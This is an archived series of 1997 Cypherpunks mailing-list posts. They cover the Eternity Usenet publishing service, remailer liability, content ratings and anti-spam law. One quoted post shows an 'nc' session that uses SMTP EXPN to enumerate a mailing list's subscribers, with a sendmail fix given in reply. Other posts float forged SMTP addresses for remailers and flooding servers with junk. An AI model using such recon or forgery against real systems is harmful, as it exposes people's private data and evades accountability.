Don't do too many regular updates of your eternty web pages for very
high risk situations.  Engineered network outages could show you up
quickly even if you were using a DC-net covering 1 million users.

> I understand that this is just an alpha release, but I don't see any
> obvious way to fix these problems with a Usenet-based system. 

Does the above answer your concerns about security?

Medium term software development-wise the eternity servers are going
to have to exchange documents between themselves.  At that point
USENET will be functioning mostly as hard to tamper with distribution
channel.  The rest will be a distributed USENET caching system, with
cache policy determined by popularity of document (hit count), and by
ecash payment.

Longer term perhaps some of Ross Anderson's more advanced ideas can be
added, as discussed by Ryan Lackey in the thread entitled "distributed
data store, a la eternity".

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Wed, 6 Aug 1997 12:57:30 +0800
To: cypherpunks@cyberpass.net
Subject: Costitutional Crisis
Message-ID: <199708060450.OAA01177@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



5 Aug 1997 
==========  

Canberra AUSTRALIA

The High Court of Australia in a land mark case today found that
billions of dollars of taxes imposed every year on fuel, alcohol and
tabacco which increases the prices of these products by up to several
hundred percent were illegal and unconstitutional.

The court found that the states had no legal right under the
constitution to impose such taxes.

The federal government has offered to help the states collect the
revenue and pass it back to the states by way of grants. Calls have
been made for the imposition of consumption taxes to replace the lost
revenue.

None of the state premiers made any comments regarding the return of
the multi-billions in illegally collected assets to taxpayers.

The illegal taxes continue to be collected even after the High Courts
ruling.

The finding has resulted in some panicing state premiers saying the
High Court seemed to be intent on making the states ungovernable.

The federal government worried about the possibility that taxpayers
could  sue the states for repayment of mult-billions of dollars in
unconstitutionally collected taxes has announced it plans to
introduce a 100% 'Unjust Windfall Tax' to confiscate the proceeds of
winning claims. Legal experts believe such action by the federal
government may in itself may be in breach of the constitution.

--
Death to Tyrants
Help Austalians re-instate the constitution







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Wed, 6 Aug 1997 22:19:55 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Eternity Uncensorable?
In-Reply-To: <199708061308.OAA02171@server.test.net>
Message-ID: <Pine.LNX.3.91.970806145040.16936A-100000@cowboy.dev.madge.com>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 6 Aug 1997, Adam Back wrote:

>   However this is going on other peoples information.  I don't have
>   any figures for how widespread the practice of configuring news to
>   ignore cancels is.  

Ditto. We'd have to assume that it's pretty widespread to avoid these 
problems.
 
> To do it properly, you'll need a local eternity server if you want to
> good security of encrypted documents. 

I'd assume that in the end this is what most people would do; get a Usenet
feed and run a server locally so that noone knows which URLs you're
accessing. 

> Turn of logs, and introduce forward secrecy into mixmaster.  Easy to
> do.  Why don't we have it yet?  (Ulf?  Lance?)
> 
> Then you have as true security as you can get from a digital mix with
> the parameters mixmaster has.

That's not what I meant; I'm assuming that the mixmaster chain is pretty
secure. The problem is that when the government find 'nuclear terrorist
money-laundering kiddie drug porn' on the Eternity server they can trace
it back to the original Usenet message and then go after the remailer
operator who posted it. Making the remailers disposable or setting them up
in free countries would work, but I'd prefer a technical solution. 

	Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Wed, 6 Aug 1997 20:01:21 +0800
To: cypherpunks@toad.com
Subject: Re: JYA Up
In-Reply-To: <LJVZae1w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970806173954.538C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 5 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> I urge you to find a more honorable upstream provider.
> Preferrably someone who gets connectivity off of AGIS, who doesn't
> censor content.

You don't get connectivity off of AGIS becuase no-one connnects.  AGIS'
routers ect are so misconfigered ect that pagets seem to move threw it
more by coninicdence then anything else.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+gq6KQK0ynCmdStAQGgTAP7BpyHaIamlA3mwEY42gL1hUxV836EtbN+
inmw58XlXSrVOckpKYyOddkv8M+CFtGP1uXr1+unhalmVENcGuLsjCrw/EEICEP1
9TgcCGhVWOerjKg8Qr9VCgutXLUcmhXlhjFzRKYT4n10UdiRq82Mx/L1Da1W/tra
7RvhE7/Igi4=
=aO0S
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Thu, 7 Aug 1997 08:39:53 +0800
To: cypherpunks@toad.com
Subject: MicroGorilla Postpones Rocket-Launch Plans Until..."likely sometime next year."
Message-ID: <199708070027.TAA14764@dfw-ix8.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




>Anonymous wrote:(c)
> > The "Not-News Gorilla NutWork" was rocket-launched in the Mohave Desert
> > early yesterday morning  by a rag-tag bunch of paramilitarist computer
> > gurus who unveiled an InterNet Bill of Bytes that included the words,
> > "MicroSoft shall make no laws..."

Steven Vonder Haar wrote, the very next day:
> Microsoft Corp. has tabled plans to include new technology in its
> Internet Explorer 4.0 browser that would have made "news" oriented
> sites exempt from content rating standards promoted for use on the
> Internet.

>Anonymous wrote:(o)
> > Angered by a self-appointed council of computer industry magnates who
> > have announced their intention to seize fascist control of the quickly
> > burdgeoning Information Highway by controlling the definition of all
> > information, the rebels set up a shooting range which contained a wide
> > variety of targets ranging from copies of the Wall Street Journal to
> > life-sized cardboard cut-outs of a hooded figure referred to only as,
> > "a billionaire to be named later."

Steven Vonder Haar wrote, the very next day:
> RSAC President C. Dianne Martin said Microsoft is running out of time
> to implement the separate designation for news sites before the launch
> of the 4.0 version of Explorer later this year.

>Anonymous wrote:(e)
> >   "We have decided on two classes of ratings." explained a tassle-
> > haired young woman as she slid shells into a Winchester Defender
> > sitting on her lap. "On..." she said, lifting the shotgun with one
> > hand, then liberating the hooded head from a nearby cardboard cut-out,
> > before turning back to say, with a Cheshire grin, "...and _off_."

Steven Vonder Haar wrote, the very next day:
> However, the company
> plans to include the news designation in the 5.0 version of Explorer
> when it is made available..."likely sometime next year."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Thu, 7 Aug 1997 02:21:51 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Eternity Uncensorable?
In-Reply-To: <199708061632.RAA03261@server.test.net>
Message-ID: <Pine.LNX.3.95.970806104749.6869A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 6 Aug 1997, Adam Back wrote:

> Mark Grant <mark@unicorn.com> writes:
> > On Wed, 6 Aug 1997, Adam Back wrote:
> > > To do it properly, you'll need a local eternity server if you want to
> > > good security of encrypted documents. 
> > 
> > I'd assume that in the end this is what most people would do; get a Usenet
> > feed and run a server locally so that noone knows which URLs you're
> > accessing. 
> 
> Indeed.  
> 
> Similar perhaps to web based remailer interfaces, you can turn on SSL,
> but you're still trusting the server, relying on no hackers being able
> to crack it, and relying on your estimate of the authenticity of it's
> certificate
> 
> If there got to be a _lot_ of eternity documents this might get
> impractical.  You wouldn't have the disk space for them all.

This is where I see a problem with eternity servers.

If I were going to attack such a system, I would just start to have the
eternity servers store my core files or some other junk.  (Or maybe feed
it the SIMTEL or funet.fi archives.) Enough crap so that you could not
have enough space to store the real important stuff...

And then, if anyone did delete it out of the Eternity server(s), I would
yell "censorship" to the freedom knights and/or their fellow travelers...

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Thu, 7 Aug 1997 03:03:55 +0800
To: Mark Grant <mark@unicorn.com>
Subject: Re: Eternity Uncensorable?
In-Reply-To: <Pine.LNX.3.91.970806145040.16936A-100000@cowboy.dev.madge.com>
Message-ID: <Pine.SUN.3.96.970806112402.19588B-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 6 Aug 1997, Mark Grant wrote:

> That's not what I meant; I'm assuming that the mixmaster chain is pretty
> secure. The problem is that when the government find 'nuclear terrorist
> money-laundering kiddie drug porn' on the Eternity server they can trace
> it back to the original Usenet message and then go after the remailer
> operator who posted it. Making the remailers disposable or setting them up
> in free countries would work, but I'd prefer a technical solution. 

I suggest using information dispersal to spread risk amongst remailer
operators.  Use Rabin's information dispersal technique to divide up a
document into n shares such that k of them can reconstruct the original,
and post each share via a seperate remailer.  It would be hard for the
government to single out an operator to go after since an individual share
by itself is useless.

If n>k this also increases reliability and resilience of the eternity
service against technical attacks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Adams <jadams@seahawk.navy.mil>
Date: Thu, 7 Aug 1997 01:23:16 +0800
To: Harry Tuttle Remailer <h_tuttle@rigel.cyberpass.net>
Subject: Re: your mail
In-Reply-To: <199707292014.NAA22371@rigel.cyberpass.net>
Message-ID: <Pine.WNT.3.96.970806115952.70a-100000@jadams.seahawk.navy.mil>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 29 Jul 1997, Harry Tuttle Remailer wrote:

> Its pretty straightforward for interested perties to get a list of everyone
> on a mojordomo mailinglist even if the who command is disabled as long as
> we have our old friend sendmail and his trusty sidekick expn.
> 
> nc toad.com 25
> 
> 220 toad.com ESMTP Sendmail 8.7.5/8.7.3;
>  Tue, 29 Jul 1997 12:59:12 -0700 (PDT)
> expn cypherpunks
> 250-<"|/u/majordom/bin/wrapper resend -p bulk  -l cypherpunks -f
> owner-cypherpunks-unedited -h toad.com -s 
> cypherpunks-unedited-outgoing"@toad.com>

if toad.com modified /etc/sendmail.cf to include:

Opnoexpn,novrfy

this wouldn't work. not much of a big mystery there...

---
John Adams -=- Computer Specialist & Network Guru  O-  NADEP Cherry Point
Pensacola Florida   +1.904.452.8551 DSN:922-8551  jadams@seahawk.navy.mil
PGP ID 0x9081AF16 via key server - opinions expressed are entirely my own





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 7 Aug 1997 03:36:46 +0800
To: cypherpunks@toad.com
Subject: Query on cookies
Message-ID: <Pine.GSO.3.95.970806122031.8195G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Does anyone have a detailed understanding of how cookies work? I've read
Netscape's explanation of the protocol, but I still have some questions.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Thu, 7 Aug 1997 03:04:48 +0800
To: chris_barr@cnet.com
Subject: "Voluntary Censorship" vs. Govt Legislation
Message-ID: <33E8C4FA.3E6DDBAC@ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



Chris:

Considering the volume of email you're

receiving on this topic, I doubt that you

will get around to reading this letter.

But for what its worth, the whole idea

of heading off Federal legislation by

policing ourselves is surrendering everything

that we've won from the defeat of the

British in 1776 to the defeat of the CDA.

(a slight overstatement seeing that the

Brits don't seem to have Parliment passing

CDA laws)

Can you imagine going into a library and

having censorship ratings stamped on the

bindings of all the books there?  The

very thought nearly brings tears to my eyes.

Last week I watched Farenheit 451 and

realized how close we are coming to that

sort of society.

If people want their information censored

then they should "donate" money to their

church and have it write filtering software.  This

would be a great way for churches to make

money -- all tax free.  Chances are that

people would be able to find a church that

agrees with their tastes in censorship.  They

may even attend that very organization.

Think about it!  Rather than bland names

such as CyberSitter or NetCop or whatever

you would have a "Parish Priest" that filters

all references to clerical pedophilia, a "Rabbi

Goldberg" that bans everything it considers anti-

semitic and a "Baptist Minister (southern edition)"

that pretty much bans... well .. a lot.  Microsoft

has been trying to sell user agents for a while.  This

would beat the hell out of Bob.  Someone might actually

use it!  You would know exactly what you were getting

and people won't usually sue their church if they should

happen to miss a nasty URL once in a while.

The church agents could also keep a tally of all the

bad information the kids had been protected from and

the nature of the information -- just in case the 'rents

need to save them from mortal peril.

As for the concept of an RSACi rating

for "news sites" that are "officially approved"

I can only say this is the most Orwellian proposal

so far.  After fifty-plus-years of "official"

news I'd say that most people have had a

belly full.  The pure arrogance of such an idea

is simply repulsive.  To call this hypocrisy would

be a affront to hypocrits everywhere.

Rather than discussing this issue with the

government I suggest you take it to a council

of churches where it belongs and not the Feds.

The last time the Feds staged a morality

play they burned twenty children to death.

For an example of how well the media served

the people during that "rescue attempt" I refer

you to charred corpses of little girls at Public

Affair's Waco Holocaust Museum at:

http://www.mnsinc.com/SkyWriter/WacoMuseum/

Would Public Affairs get an official

"news site" stamp of approval?  I thought

not.


---------------------------------------
When the world is running down
   make the best of what's still around
                                -sting







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 7 Aug 1997 05:45:05 +0800
To: cypherpunks@toad.com
Subject: Re: "Voluntary Censorship" vs. Govt Legislation
In-Reply-To: <33E8C4FA.3E6DDBAC@ssds.com>
Message-ID: <19970806141137.51900@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Aug 06, 1997 at 12:39:54PM -0600, Jim Burnes wrote:
[...]
> Can you imagine going into a library and
> having censorship ratings stamped on the
> bindings of all the books there?

This is not a good analogy at all.  Have you ever noticed that there
are "childrens books" sections in the library? In fact, books in
libraries *do* have ratings -- they just use a different technique
than stamping it on the book.

The fact is that realspace allows categorization (censorship, in your
terminology) by spatial location -- something that cyberspace doesn't
support.  You don't complain about physical segregation of children's books,
or keeping children out of bars.

So presumably you wouldn't complain about some technical means of
creating an analog in cyberspace?

If so, then voluntary labelling is not so bad.  Most sites that cater 
to "adult" tastes will label themselves; most sites that explicitly 
cater to children will label themselves; but the vast majority of 
sites won't bother.  The fact that this system is not perfect is not 
an issue -- realspace separation is not perfect either.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 7 Aug 1997 00:41:53 +0800
To: mark@unicorn.com
Subject: Re: Eternity Uncensorable?
In-Reply-To: <199708061308.OAA02171@server.test.net>
Message-ID: <199708061539.QAA02852@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




To follow up to my own post briefly, I said:

: Clearly you could have an email submission channel where you just
: email the article to a server, but that gets away from the idea of
: pointing the finger at USENET.

If the machine hosting the eternity server also has a mail2news
gateway (eg replay has mail2news@replay.com), then modify the
mail2news program to forward a copy to eternity@replay.com for
newsgroups that the eternity server is interested in.

That way it's still a USENET post.  Just you're stacking the odds
against the cancel forger :-) The cancel forger can't get there before
you unless he can read your mind (or your email), but it wouldn't
matter if he could, because eternity would see the document anyway.

http://www.replay.com/aba/eternity/ is reading it's news from
nntp:news.xs4all.nl, but I don't know what their cancel settings are
for their news spool.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Thu, 7 Aug 1997 07:09:23 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: "Voluntary Censorship" vs. Govt Legislation
In-Reply-To: <33E8C4FA.3E6DDBAC@ssds.com>
Message-ID: <33E8FE38.476CD40@ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin wrote:

> On Wed, Aug 06, 1997 at 12:39:54PM -0600, Jim Burnes wrote:
> [...]
> > Can you imagine going into a library and
> > having censorship ratings stamped on the
> > bindings of all the books there?
>
> This is not a good analogy at all.  Have you ever noticed that there
> are "childrens books" sections in the library? In fact, books in
> libraries *do* have ratings -- they just use a different technique
> than stamping it on the book.
>
> The fact is that realspace allows categorization (censorship, in your
> terminology) by spatial location -- something that cyberspace doesn't
> support.  You don't complain about physical segregation of children's
> books,
> or keeping children out of bars.
>
> So presumably you wouldn't complain about some technical means of
> creating an analog in cyberspace?
>
> If so, then voluntary labelling is not so bad.  Most sites that cater
> to "adult" tastes will label themselves; most sites that explicitly
> cater to children will label themselves; but the vast majority of
> sites won't bother.  The fact that this system is not perfect is not
> an issue -- realspace separation is not perfect either.
>
> --
> Kent Crispin                            "No reason to get excited",
> kent@songbird.com                       the thief he kindly spoke...
> PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
> http://songbird.com/kent/pgp_key.html

Actually I have nothing against categorization.  Sci Fi, Dick and Jane,
Romance
Mystery, Horror, Erotica.  Those are categories.  The difference in
Meatspace
is that Mommie and Daddy usually don't let little Susie go to the
bookstore
alone.  If they go with her (the c-space equivalent of watching her
surf)
then they probably won't stand by as she picks up the latest copy of
Lady Chatterly.

As far as I'm concerned parents have a moral duty to filter what their
little ones read, I just don't want the Feds or Microsoft deciding what
the categories are.

Like I said -- most people who care about these things don't mind
if people from their church take the kids to the bookstore.  I assume
that they trust their values.

On the other hand I don't want a "surgeon general's warning" on
Lady Chatterly.  I know you think this is voluntary, but eventually
some parents will get irate over little susie seeing something that
they thought was inappropriately labeled.  A lawsuit will ensue
and then voluntary will be a tautology for mandatory.

It already is in the tax world.  And that, my friend, is the very
thing that Orwell spoke of.  Change the language so that love
means hate, peace means war, good is evil, volutary is mandatory.

As much as I detest censorship I don't have a problem with parents
deciding what their little kids should look at.  In fact I really like
the idea of having churches sell their own filtering software.  What
better way to check your values.

I can't believe the churches haven't thought of this before.  Usually
they don't miss a beat when it comes to generating funds for, ahem,
noble causes.

Maybe I'll suggest it.

Jim

BTW: It looks like communicator is formatting my text correctly again.

---------------------------------------
When the world is running down
   make the best of what's still around
                                -sting






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 7 Aug 1997 08:33:49 +0800
To: cypherpunks@toad.com
Subject: Re: "Voluntary Censorship" vs. Govt Legislation
In-Reply-To: <33E8C4FA.3E6DDBAC@ssds.com>
Message-ID: <19970806170411.10495@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Aug 06, 1997 at 04:44:08PM -0600, Jim Burnes wrote:
[...]
> Actually I have nothing against categorization.  Sci Fi, Dick and Jane,
> Romance Mystery, Horror, Erotica.  Those are categories.  The difference in
> Meatspace is that Mommie and Daddy usually don't let little Susie go to the
> bookstore alone.

I think you missed my point about spatial segregation.  It's not that
I don't let little Susie go to the bookstore alone -- I live 10 miles
from the bookstore, and she *can't* go to the bookstore alone.  In
other words, I don't have to watch her all the time in meatspace,
because there are *safe areas* where I can let her play without
supervision.  You get this kind of "categorization" of space for free
in meatspace -- it's a fundamental topological property that
cyberspace doesn't have. 

And in fact, no parent I know watches their children all the time --
it is simply not possible for most people.  Every parent I know builds
or finds "safe areas" where children can play unsupervised.

[...]

> 
> As far as I'm concerned parents have a moral duty to filter what their
> little ones read,  I just don't want the Feds or Microsoft deciding what
> the categories are.

Neither do I.

[...]

> On the other hand I don't want a "surgeon general's warning" on
> Lady Chatterly.  I know you think this is voluntary, 

No, clearly you don't know what I think.  Please do me the courtesy of
disabusing your mind of that thought.  When I said "voluntary" I meant
voluntary, not some Orwellian variant of the word, OK?  Voluntary.  Not
"mandatory voluntary", not "surgeon general's warning", not
"government approved", not "war is peace".  Voluntary.  So, keeping
your mind firmly wrapped around that, remember that I said I saw value
to voluntary labels.  I did not say I favored government mandated
labels, or Microsoft mandated labels.  Voluntary labels, like the big 
adult sites already use.  Voluntary labels, like the "k12" usenet 
hierarchy. 

[...]

> In fact I really like
> the idea of having churches sell their own filtering software.  What
> better way to check your values.

Filtering and labels are orthogonal (you can filter on things other
than labels), and, of the two, I prefer filtering.  Filtering creates
virtual neighborhoods, and gives a more complex topology to
cyberspace. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 7 Aug 1997 01:42:01 +0800
To: mark@unicorn.com
Subject: Re: Eternity Uncensorable?
In-Reply-To: <Pine.LNX.3.91.970806145040.16936A-100000@cowboy.dev.madge.com>
Message-ID: <199708061632.RAA03261@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain





Mark Grant <mark@unicorn.com> writes:
> On Wed, 6 Aug 1997, Adam Back wrote:
> > To do it properly, you'll need a local eternity server if you want to
> > good security of encrypted documents. 
> 
> I'd assume that in the end this is what most people would do; get a Usenet
> feed and run a server locally so that noone knows which URLs you're
> accessing. 

Indeed.  

Similar perhaps to web based remailer interfaces, you can turn on SSL,
but you're still trusting the server, relying on no hackers being able
to crack it, and relying on your estimate of the authenticity of it's
certificate

If there got to be a _lot_ of eternity documents this might get
impractical.  You wouldn't have the disk space for them all.

The distributed USENET cacheing setup could use cope with a big
archive because the content could also be distributed, and forwarded
on request.  So the complexities of doing something clever to allow
digital mixes to obscure your reading habits might come in again.

Incidentally, I think you could use the same methods to obscure
reading the virtual eternity web as you would use to obscure reading
the real web.  Eg. crowds, www.anonymizer.com.  http://*.eternity/
just happens to be likely to end up hosting a load of "hot" stuff
which you might not want to be caught reading in some countries.

> > Turn of logs, and introduce forward secrecy into mixmaster.  
> 
> That's not what I meant; I'm assuming that the mixmaster chain is
> pretty secure. The problem is that when the government find 'nuclear
> terrorist money-laundering kiddie drug porn' on the Eternity server
> they can trace it back to the original Usenet message and then go
> after the remailer operator who posted it. 

They might have a go at that yes.

> Making the remailers disposable or setting them up in free countries
> would work, but I'd prefer a technical solution.

That _is_ the technical solution!  (Disposable remailers).

Here's a repost of something I posted to remailer-ops on this topic at
around the time a few remailer operators felt the heat.  Nothing new
proposed, but this kind of argument was being hashed out here on
cypherpunks years ago, and we still don't have any disposable
remailers.  As close as we've got that I know is perhaps some
psuedo-anonymous remailer operators running off of cyberpass (Lance
offers anon shell accounts for ecash).

Adam

remailer-ops repost:
======================================================================
From: Adam Back <aba@dcs.ex.ac.uk>
To: mail2news@anon.lcs.mit.edu
Cc: remailer-operators@anon.lcs.mit.edu
Subject: disposable camouflaged tents (was Re: Balls remailer under attack.)
In-reply-to: <199706291539.RAA15722@basement.replay.com> (nobody@REPLAY.COM)
Date: Sun, 29 Jun 1997 23:45:40 +0100


Anonymous writes:
> I'm not sure that's a wise precedent to set.  Once you put the
> self-appointed censors and netcops in the driver's seat, who's to say
> where they might take us?

Agreed.

> [description of censors tatics]
>
> Maybe it's time that the censors were told to keep their noses out
> of our tents, for, like a camel, once you let it put its nose under
> the side of your tent, you soon have the entire camel taking over
> your tent!  Maybe it's time to bop a few intruding noses!

The solution is to have disposable tents, lots of.

What about AOL disks?  We need shorter lived, disposable remailers as
exit remailers...  Let them take the heat, while the real remailers
walk.  Lets see a series of "exitman" remailers.  Exitman remailers
are walking targets left to fend for themselves as long as they may.

I propose that an exit remailer is replaceable, that is another
remailer can instantly step into it's place and take traffic.  The way
to do this is to have a special automated reporting mechanism for
exitman remailers.  An easy way to do it is to have the exitman
remailers send mail to a given mailing list.  Other remailers which
wish to use exitman remailers just subscribe to the chosen mailing
list.  We just need a remailer command indicating the creation of a
new exitman remailer.  I guess the exitman remailer just sends one
message per day, or whatever, and if it stops, you write it off.

Is there a military term for something sent in to get shot to bits,
just to distract attention from other movement?  A decoy?


Also, what about camouflaging the disposable tent, so the camal can't
find it to poke it's nose in?  How about SMTP mail forgeries.
Wouldn't addresses of remailer42@dev.null fool a lot of these censorous
people?

I wonder if system admins in general would be very interested in
tracking down SMTP forgeries for censors?  If it was obvious what the
censorous shill was up to, or the large ISP sysadmin was just plain
overloaded with work he may just shrug his shoulders and say sorry,
can't be traced, get over it.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 7 Aug 1997 02:33:34 +0800
To: kent@songbird.com
Subject: anti-spam law implies laws against remailers? (was Re: bulk postage fine)
In-Reply-To: <19970806075802.12530@bywater.songbird.com>
Message-ID: <199708061705.SAA03362@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin <kent@songbird.com> writes:
> On Sun, Aug 03, 1997 at 12:29:37PM +0100, Adam Back wrote:
> > Here's the sequence of events as I see it:
> > 
> >  1. spammer spams you with adverisement for phone sex line
> >  2. you try to sue phone sex line company
> >  3. phone sex company denies all knowledge
> >  4. government says all email must be authenticated 
> >  5. government issues internet drivers license
> >  6. anonymous remailers work around authentication requirement
> >  7. government outlaws remailers
> > 
> > See any flaws in that logical and undesirable sequence of events?
> 
> The flaws become apparent if you try to attach a *realistic*
> probability to each step.

Difficult to do.

However, consider:

1) Government anti-spam laws won't work (too many loop holes, #1 of
   which is there are other countries in the world other than US, #2 is
   remailers will be used which will leave remailer operator rather than
   spammer to face the music).

2) When the government or whoever wants to sue someone for spam they
   will have to prove who the spammer is.  (Right?)  So now they'll
   look at the From address at it will say remailer@foo.com.  So
   they'll go have a chat to Fred Q Cypherpunk who operates foo, and he
   won't be able to cooperate because he doesn't keep logs.  They won't
   be happy with Fred, and will pass this information along to him by
   stealing his equipment, prosecuting him for assisting in a felony
   crime (they'll make it a felony right?), lock him and throw away
   the key.  But what about Freds constitutional protection of the
   speech forwarded by his remailer?  (Judge + congress-critter:
   Constitution wassat?)

3) Repeat step 2 x 100 and "something will have to be done" about the
   remailers (if there are any left!)  It really isn't that far
   fetched to have laws against remailers in the US.  Not so long ago
   the guy from the two-man band Georgia EFF were telling us about how
   they fought some law which had already tried to do this in that
   state.

4) New laws nearly always reduce your freedoms - in phrasing the law,
   and compromising their way around whatever "issues" they try to
   construct, they'll try to hide something else in there which we don't
   want.  (eg no encrypted email, or no import of crypto, or something
   stupidly unrelated -- happens all the time).

5) It's the net man, what do you want government officials crawling all
   over it, and lawyers arguing about it's content for?  It sets a bad
   precedent.

ps Kent, did you convert your rsa.midi to a .au file?  I haven't got
my /dev/midi configured properly under linux, but can play .au files,
and am dying to hear it :-)

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Janzen <janzen@idacom.hp.com>
Date: Thu, 7 Aug 1997 09:25:59 +0800
To: cypherpunks@cyberpass.net
Subject: Links re. crypto in Canada
Message-ID: <9708070116.AA19886@sabel.idacom.hp.com>
MIME-Version: 1.0
Content-Type: text/plain




A while ago, someone was asking about the status of cryptography in
Canada.  You may be interested in the following links, courtesy of
Electronic Frontier Canada's David Jones:

    EFC's Draft Statement on Canadian Cryptography Policy
       http://www.efc.ca/pages/crypto/policy.html

    Can you keep a secret? - Canadian Crypto: true, strong, free
       http://www.theconvergence.com/columns/djones/08021997/

    Entrust skirts export rules on encryption software
       http://www.efc.ca/pages/media/globe.29jul97.html

    Canadian Product Puts New Spin on Encryption Debate
       http://www.efc.ca/pages/media/nytimes.01aug97.html

    It's the law vs. privacy in high-tech debate
       http://www.efc.ca/pages/media/ottawa.citizen.06aug97a.html

--
Martin Janzen           janzen@idacom.hp.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 7 Aug 1997 10:37:52 +0800
To: cypherpunks@Algebra.COM
Subject: IG Farben and the Legitimate Needs of Law Enforcement
In-Reply-To: <199708062340.BAA24470@basement.replay.com>
Message-ID: <v03102804b00ee28139c7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:40 PM -0700 8/6/97, Anonymous wrote:
>
>  When the gun-thievery began in earnest, the thieves still had to lie
>in bigger and bigger stages, tearing small, then larger, pieces off the
>Constitution at each step of their con game.
>  With privacy and freedom, however, we have now reached a stage where
>the pretense of democracy is perfunctory, with the fascists who are
>rattling the chains standing on the stage behind the speaker as he or
>she assures us that "imprisonment for life will be a _voluntary_
>requirement."

An early member of the Eric Conspiracy Research Labs, Eric Blair, correctly
noted the abuse of language that is necessary to make anything go down with
minimum fuss...

